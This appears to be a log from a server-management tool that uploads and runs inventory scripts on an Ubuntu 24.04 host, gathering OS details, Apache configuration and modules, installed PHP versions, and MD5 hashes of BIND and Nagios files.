MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 12:37:32: Establishing a connection
2025-12-31 12:37:33: Performing Server Status
2025-12-31 12:37:33: 

PUT: /tmp/pkp173434

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 12:37:34: 

chmod 755 /tmp/pkp173434; /tmp/pkp173434; rm /tmp/pkp173434

2025-12-31 12:37:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		2816		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-31 12:37:34: 

PUT: /tmp/pkp682982

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-31 12:37:35: 

chmod 755 /tmp/pkp682982; /tmp/pkp682982; rm /tmp/pkp682982

2025-12-31 12:37:35: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 437995
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      437995  0.0  0.2 256144 35388 ?        Ss   Dec19   0:33 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-12-31 12:37:35: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2025-12-31 12:37:35: 

PUT: /tmp/pkp281469

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-31 12:37:35: 

chmod 755 /tmp/pkp281469; /tmp/pkp281469; rm /tmp/pkp281469

2025-12-31 12:37:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-31 12:37:36: 

PUT: /tmp/pkp273479

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-31 12:37:36: 

chmod 755 /tmp/pkp273479; /tmp/pkp273479; rm /tmp/pkp273479

2025-12-31 12:37:37: 


[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16


2025-12-31 12:37:37: 

PUT: /tmp/pkp197415

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-31 12:37:37: 

chmod 755 /tmp/pkp197415; /tmp/pkp197415; rm /tmp/pkp197415

2025-12-31 12:37:38: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
